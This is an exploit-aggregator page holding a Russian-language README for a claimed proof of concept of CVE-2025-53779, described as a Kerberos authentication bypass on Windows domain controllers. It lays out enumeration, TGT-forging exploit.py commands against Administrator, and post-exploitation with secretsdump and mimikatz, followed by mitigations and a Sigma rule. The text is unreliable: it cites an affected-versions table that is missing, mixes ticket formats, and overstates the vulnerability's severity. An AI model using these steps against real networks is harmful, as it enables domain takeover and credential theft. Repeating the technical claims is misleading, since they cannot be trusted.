Sploitus

Exploit for cve-2025-53779-kerberos_bypass_reproduction

kitploit Β· 2026-09-04

Exploit Code

MARKDOWN289 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RAZUREINK-CVE-2025-53779-KERBEROS_BYPASS_REPRODUCTION
# CVE-2025-53779: ΠžΠ±Ρ…ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Kerberos Π² Microsoft Windows

**ΠžΡ†Π΅Π½ΠΊΠ° CVSS:** 9.8 (критичСский)  
**Бтатус:** активная эксплуатация Π² Π΄ΠΈΠΊΠΎΠΉ ΠΏΡ€ΠΈΡ€ΠΎΠ΄Π΅  
**РаскрытиС:** августовский Β«Π’Ρ‚ΠΎΡ€Π½ΠΈΠΊ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΉΒ» Microsoft 2025 (Zero-Day)

* * *

## ΠžΠ±Π·ΠΎΡ€

CVE-2025-53779 β€” это критичСская ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ…ΠΎΠ΄Π° Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Kerberos Π² Microsoft Windows. НСаутСнтифицированный Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту ΠΎΡˆΠΈΠ±ΠΊΡƒ для ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ ΠΎΠ±Ρ…ΠΎΠ΄Π° Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Kerberos, выдавая сСбя Π·Π° любого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΄ΠΎΠΌΠ΅Π½Π° β€” Π²ΠΊΠ»ΡŽΡ‡Π°Ρ администраторов Π΄ΠΎΠΌΠ΅Π½Π° β€” Π±Π΅Π· наличия Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ криптографичСских ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ².

Microsoft присвоил этой уязвимости Ρ€Π΅ΠΉΡ‚ΠΈΠ½Π³ CVSS 9.8 (критичСский) ΠΈΠ·-Π·Π° Π½ΠΈΠ·ΠΊΠΎΠΉ слоТности Π°Ρ‚Π°ΠΊΠΈ, отсутствия Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹Ρ… ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ, отсутствия взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΈ возмоТности ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†ΠΈΠΈ систСм, входящих Π² Π΄ΠΎΠΌΠ΅Π½.

* * *

## ВСхничСскиС подробности

### ΠŸΠ΅Ρ€Π²ΠΎΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°

Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ находится Π² слуТбС Ρ†Π΅Π½Ρ‚Ρ€Π° распрСдСлСния ΠΊΠ»ΡŽΡ‡Π΅ΠΉ Kerberos (KDC) (`kdsvc.dll`) Π½Π° ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°Ρ… Π΄ΠΎΠΌΠ΅Π½Π° Windows. Π’ частности, ошибка Π»ΠΎΠ³ΠΈΠΊΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π² ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π΅ Π²Π΅Ρ€ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ сСртификата Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ (PAC) позволяСт Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сообщСниС AS-REQ ΠΈΠ»ΠΈ TGS-REQ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΡ‚ стандартныС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ.

### Π—Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚

  * **ΠšΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚:** Ρ†Π΅Π½Ρ‚Ρ€ распрСдСлСния ΠΊΠ»ΡŽΡ‡Π΅ΠΉ Kerberos (KDC)
  * **Π‘ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ»:** `kdsvc.dll`
  * **ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»:** Kerberos v5 (RFC 4120)
  * **Π’ΠΈΠΏ уязвимости:** ΠΎΠ±Ρ…ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Ρ‡Π΅Ρ€Π΅Π· ΠΎΡˆΠΈΠ±ΠΊΡƒ Π»ΠΎΠ³ΠΈΠΊΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ PAC



### Π’Π΅ΠΊΡ‚ΠΎΡ€ Π°Ρ‚Π°ΠΊΠΈ

KDC Π½Π΅ выполняСт Π½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ поля `pac-signature-data` Π² структурС PAC, ΠΊΠΎΠ³Π΄Π° Π² Ρ‚Π΅Π»Π΅ сообщСния Kerberos установлСны ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ„Π»Π°Π³ΠΈ. ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΡ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ сформированный AS-REQ с ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌ Ρ‚ΠΈΠΏΠΎΠΌ padata `PA-PAC-REQUEST` ΠΈ поддСльной записью Π΄Π°Π½Π½Ρ‹Ρ… Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ, Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ заставляСт KDC Π²Ρ‹Π΄Π°Ρ‚ΡŒ Π±ΠΈΠ»Π΅Ρ‚ прСдоставлСния Π±ΠΈΠ»Π΅Ρ‚ΠΎΠ² (TGT) для любого ΠΈΠΌΠ΅Π½ΠΈ участника-ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (UPN) Π±Π΅Π· нСобходимости ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π΄ΠΎΠ»Π³ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π°.

Атака ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€Π΅Π΄Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ (Ρ„Π»Π°Π³ `REQUIRES_PRE_AUTH` фактичСски игнорируСтся) ΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ пропускаСт ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ PAC, позволяя сгСнСрированному Π±ΠΈΠ»Π΅Ρ‚Ρƒ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ члСнства Π² Π³Ρ€ΡƒΠΏΠΏΠ°Ρ… (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Domain Admins, Enterprise Admins).

### ВоздСйствиС

  * **ΠŸΠΎΠ»Π½Ρ‹ΠΉ ΠΎΠ±Ρ…ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ:** для получСния Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π±ΠΈΠ»Π΅Ρ‚Π° TGT Kerberos Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅
  * **ΠŸΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ:** Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹Π΄Π°Π²Π°Ρ‚ΡŒ сСбя Π·Π° любого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΄ΠΎΠΌΠ΅Π½Π°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ администраторов Π΄ΠΎΠΌΠ΅Π½Π°
  * **Π“ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅:** ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ² TGT, Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ»Π΅Ρ‚Ρ‹ слуТб для любого рСсурса
  * **Π—Π°ΠΊΡ€Π΅ΠΏΠ»Π΅Π½ΠΈΠ΅:** Π°Ρ‚Π°ΠΊΠΈ Ρ‚ΠΈΠΏΠ° golden/silver ticket становятся Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ
  * **Полная компромСтация Π΄ΠΎΠΌΠ΅Π½Π°:** Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ фактичСски ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ администратора Π΄ΠΎΠΌΠ΅Π½Π° ΠΈΠ· Π½Π΅Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ полоТСния



* * *

## Π—Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹Π΅ вСрсии

ВсС ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ вСрсии Windows Server уязвимы Π΄ΠΎ августовского обновлСния бСзопасности 2025 Π³ΠΎΠ΄Π°:

**ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:** клиСнтскиС вСрсии Windows (Windows 10, Windows 11) **Π½Π΅** Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ Π½Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ слуТбу KDC.

* * *

## Π¨Π°Π³ΠΈ воспроизвСдСния

### ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ трСбования

  1. ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ Π΄ΠΎΠΌΠ΅Π½Π° Windows ΠΏΠΎΠ΄ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Π½Π΅ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠΉ вСрсии Windows Server (см. Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹Π΅ вСрсии Π²Ρ‹ΡˆΠ΅)
  2. Π‘Π΅Ρ‚Π΅Π²ΠΎΠΉ доступ ΠΊ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρƒ Π΄ΠΎΠΌΠ΅Π½Π° (ΠΏΠΎΡ€Ρ‚ 88/TCP ΠΈ/ΠΈΠ»ΠΈ 88/UDP Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚)
  3. Python 3.8+ с установлСнной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΎΠΉ `impacket`
  4. Π­Ρ‚ΠΎΡ‚ PoC-скрипт (`exploit.py`)



### Π¨Π°Π³ 1: Установка зависимостСй

root@kitploit:~
    
    
    pip install impacket pycryptodome
    

Или с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ прСдоставлСнного `requirements.txt`:

root@kitploit:~
    
    
    pip install -r requirements.txt
    

### Π¨Π°Π³ 2: ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° Π΄ΠΎΠΌΠ΅Π½Π°

Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Nmap для обнаруТСния слуТб Kerberos:

root@kitploit:~
    
    
    nmap -sU -p 88 --script krb5-enum-users <target-ip>
    

Или ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ встроСнноС сканированиС Kerberos:

root@kitploit:~
    
    
    python exploit.py --scan <target-ip>
    

### Π¨Π°Π³ 3: ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π΄ΠΎΠΌΠ΅Π½Π° (Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ)

Если Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π΄ΠΎΠΌΠ΅Π½Π°, пСрСчислитС ΠΈΡ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ Kerberos AS-REP roasting ΠΈΠ»ΠΈ LDAP:

root@kitploit:~
    
    
    python exploit.py --enum <target-ip> <domain>
    

### Π¨Π°Π³ 4: Запуск эксплойта

Π‘Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ TGT для Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ:

root@kitploit:~
    
    
    python exploit.py --dc-ip <dc-ip> --domain <domain> --target-user <username>
    

ΠŸΡ€ΠΈΠΌΠ΅Ρ€:

root@kitploit:~
    
    
    python exploit.py --dc-ip 192.168.1.10 --domain corp.local --target-user Administrator
    

### Π¨Π°Π³ 5: ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π±ΠΈΠ»Π΅Ρ‚Π°

Эксплойт Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Ρ„Π°ΠΉΠ» Π±ΠΈΠ»Π΅Ρ‚Π° Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ Kirbi. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ инструмСнты Impacket для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ:

root@kitploit:~
    
    
    # Export the ticket
    set KRB5CCNAME=ticket.kirbi
    
    # Use the ticket to access a resource
    python examples/secretsdump.py -k -no-pass <domain>/Administrator@<target>
    

### Π¨Π°Π³ 6: ΠŸΠΎΡΡ‚ΡΠΊΡΠΏΠ»ΡƒΠ°Ρ‚Π°Ρ†ΠΈΡ

ПослС получСния Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ TGT Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅:

  * **БнятиС Π΄Π°ΠΌΠΏΠ° Ρ…Π΅ΡˆΠ΅ΠΉ:** `secretsdump.py -k -no-pass domain/Administrator@<dc>`
  * **PTT (Pass-the-Ticket):** `mimikatz "kerberos::ptt ticket.kirbi"`
  * **Golden Ticket:** Ρ‚Π° ΠΆΠ΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ»Π΅Ρ‚Ρ‹ для любого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ
  * **Silver Ticket:** Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΠΉΡ‚Π΅ Π±ΠΈΠ»Π΅Ρ‚Ρ‹ слуТб для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… слуТб (CIFS, HTTP, LDAP)



* * *

## PoC (Π΄ΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒΡΡ‚Π²ΠΎ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ)

ΠŸΡ€ΠΈΠ»Π°Π³Π°Π΅ΠΌΡ‹ΠΉ `exploit.py` Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ сцСнарий Π°Ρ‚Π°ΠΊΠΈ:

  1. **Π€ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ AS-REQ:** создаёт ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ΅ сообщСниС AS-REQ с ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΠ»Π΅ΠΌ `PA-PAC-REQUEST` ΠΈ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ
  2. **ΠžΠ±Ρ…ΠΎΠ΄ PAC:** устанавливаСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π±ΠΈΡ‚ΠΎΠ²Ρ‹Π΅ Ρ„Π»Π°Π³ΠΈ Π² Ρ‚Π΅Π»Π΅ запроса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ ΡƒΡΠ·Π²ΠΈΠΌΡƒΡŽ Π²Π΅Ρ‚ΠΊΡƒ ΠΊΠΎΠ΄Π° Π² `kdsvc.dll`
  3. **Π˜Π·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ TGT:** Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚ KDC ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ TGT
  4. **Π’Ρ‹Π²ΠΎΠ΄ Π±ΠΈΠ»Π΅Ρ‚Π°:** сохраняСт TGT Π² Π²ΠΈΠ΄Π΅ Ρ„Π°ΠΉΠ»Π° Kirbi для использования с Impacket, Mimikatz ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ инструмСнтами



### Π”Π΅Ρ‚Π°Π»ΡŒΠ½Π°Ρ схСма Π°Ρ‚Π°ΠΊΠΈ

root@kitploit:~
    
    
    Attacker                         Domain Controller (KDC)
       |                                      |
       |  AS-REQ (forged PA-PAC-REQUEST)      |
       |  - cname: Administrator              |
       |  - sname: krbtgt/DOMAIN              |
       |  - padata: PA-PAC-REQUEST +          |
       |    forged auth-data                  |
       |------------------------------------->|
       |                                      |
       |  [Vulnerable Path]                   |
       |  1. KDC receives AS-REQ             |
       |  2. Checks PA-PAC-REQUEST flag      |
       |  3. **Bypasses pre-auth check**     |
       |  4. Skips PAC verification          |
       |  5. Generates TGT with arbitrary    |
       |     groups via auth-data            |
       |                                      |
       |  AS-REP (forged TGT)                 |
       |  - Encrypted with krbtgt key        |
       |  - Contains forged PAC              |
       |<-------------------------------------|
       |                                      |
       |  TGS-REQ (use forged TGT)           |
       |  - Request service ticket           |
       |  - For any service (CIFS, LDAP,     |
       |    HTTP, HOST)                       |
       |------------------------------------->|
       |                                      |
       |  TGS-REP (service ticket)           |
       |  - Legitimate service ticket        |
       |  - Attacker can now access          |
       |    any resource                     |
       |<-------------------------------------|
    

* * *

## БмягчСниС послСдствий

### НСмСдлСнныС дСйствия

  1. **УстановитС обновлСния августовского Β«Π’Ρ‚ΠΎΡ€Π½ΠΈΠΊΠ° ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΉΒ» Microsoft 2025** β€” это основноС исправлСниС. Π‘ΠΌ. Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹Ρ… вСрсий Π²Ρ‹ΡˆΠ΅ для ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ KB.

  2. **ΠžΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ эксплуатации:**

     * Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ с ID 4768 (Π²Ρ‹Π΄Π°Π½ Π±ΠΈΠ»Π΅Ρ‚ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Kerberos) β€” ΠΈΡ‰ΠΈΡ‚Π΅ Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠ»ΠΈ Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ запросы TGT
     * Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ с ID 4769 (Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½ Π±ΠΈΠ»Π΅Ρ‚ слуТбы Kerberos) β€” ΠΈΡ‰ΠΈΡ‚Π΅ Π°Π½ΠΎΠΌΠ°Π»ΡŒΠ½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ Π±ΠΈΠ»Π΅Ρ‚ΠΎΠ² слуТб
     * НСоТиданный Ρ‚Ρ€Π°Ρ„ΠΈΠΊ Kerberos Π½Π° ΠΏΠΎΡ€Ρ‚Ρƒ 88 ΠΈΠ· нСизвСстных источников
  3. **БСгмСнтация сСти:**

     * ΠžΠ³Ρ€Π°Π½ΠΈΡ‡ΡŒΡ‚Π΅ доступ ΠΊ ΠΏΠΎΡ€Ρ‚Ρƒ 88/TCP-UDP Π½Π° ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°Ρ… Π΄ΠΎΠΌΠ΅Π½Π°
     * Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ мСТсСтСвыС экраны для ограничСния Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ° Kerberos Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ подсСтями
  4. **Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΆΡƒΡ€Π½Π°Π»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅:**

     * Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ ΠΆΡƒΡ€Π½Π°Π»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Kerberos (`NetworkProvider\Kerberos\Operational`)
     * Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ ΠΆΡƒΡ€Π½Π°Π» Π°ΡƒΠ΄ΠΈΡ‚Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ PAC
     * ΠžΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ подписи PAC



### ΠŸΡ€Π°Π²ΠΈΠ»Π° обнаруТСния

**ΠŸΡ€Π°Π²ΠΈΠ»ΠΎ Sigma (AS-REQ Π±Π΅Π· ΠΏΡ€Π΅Π΄Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ):**

root@kitploit:~
    
    
    title: CVE-2025-53779 Kerberos Authentication Bypass
    logsource:
      product: windows
      service: security
    detection:
      selection:
        EventID: 4768
        PreAuthenticationType: 0  # No pre-authentication required
      condition: selection
      falsepositives:
        - Users with "Do not require Kerberos preauthentication" set
    

### Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ€Ρ‹ (Ссли исправлСниС Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ установлСно)

  * **ΠžΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ…ΠΎΠ΄Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ PAC Π² Kerberos:** хотя Π΄ΠΎ установки исправлСния ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ€ Π½Π΅ сущСствуСт, ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚: 
    * ΠžΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ сСтСвой доступ ΠΊ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°ΠΌ Π΄ΠΎΠΌΠ΅Π½Π° (ΠΏΠΎΡ€Ρ‚ 88)
    * Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½ΡƒΡŽ Π·Π°Ρ‰ΠΈΡ‚Ρƒ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ (EPA) Π² прилоТСниях
